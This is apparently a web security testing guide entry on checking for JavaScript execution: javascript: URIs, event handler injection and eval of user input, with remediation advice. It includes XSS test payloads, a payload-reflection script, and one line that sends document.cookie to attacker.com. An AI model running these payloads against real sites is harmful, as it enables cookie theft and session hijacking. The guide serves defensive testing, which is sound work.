Wstg Clnt 02

wstg-clnt-02

Test ID

WSTG-CLNT-02

Test Name

Testing for JavaScript Execution

High-Level Description

This test identifies scenarios where user input can lead to arbitrary JavaScript execution through various vectors including javascript: URIs, event handlers, and dynamic code evaluation.

What to Check

• javascript: URI handling
• Event handler injection
• eval() with user input
• Function constructor abuse
• Template literal injection

How to Test

Step 1: Test javascript: URI

# Test link href
curl -s "https://target.com/redirect?url=javascript:alert(1)"

# Test image src
curl -s "https://target.com/profile?avatar=javascript:alert(1)"

Step 2: Test Event Handler Injection

#!/usr/bin/env python3
import requests

def test_event_handlers(url, param):
    payloads = [
        '" x="',
        "' autofocus='",
        '" style="position:fixed;width:100%;height:100%" x="',
        "javascript:alert(1)",
        "data:text/html,<script>alert(1)</script>",
    ]

    for payload in payloads:
        response = requests.get(url, params={param: payload})
        if payload.split('=')[0] in response.text:
            print(f"[POTENTIAL] Payload reflected: {payload[:40]}")

# Usage
test_event_handlers("https://target.com/search", "q")

Step 3: Dynamic Evaluation Testing

// Check if user input reaches eval/Function
// Common patterns to look for in JS:

// Dangerous
eval(userInput)
new Function(userInput)()
setTimeout(userInput, 1000)
setInterval(userInput, 1000)

// Test payloads
// alert(1)
// 1+1
// fetch('https://attacker.com?'+document.cookie)

Remediation

// Never use eval with user input
// AVOID: eval(userInput)

// Use safe alternatives
JSON.parse(jsonString) // For JSON parsing

// For dynamic function calls, use allowlist
const allowedFunctions = { sum: (a, b) => a + b }
if (allowedFunctions[functionName]) {
  allowedFunctions[functionName](args)
}

Risk Assessment

CWE Categories

Checklist

[ ] javascript: URI tested
[ ] Event handlers tested
[ ] eval() usage analyzed
[ ] Template literals checked
[ ] Findings documented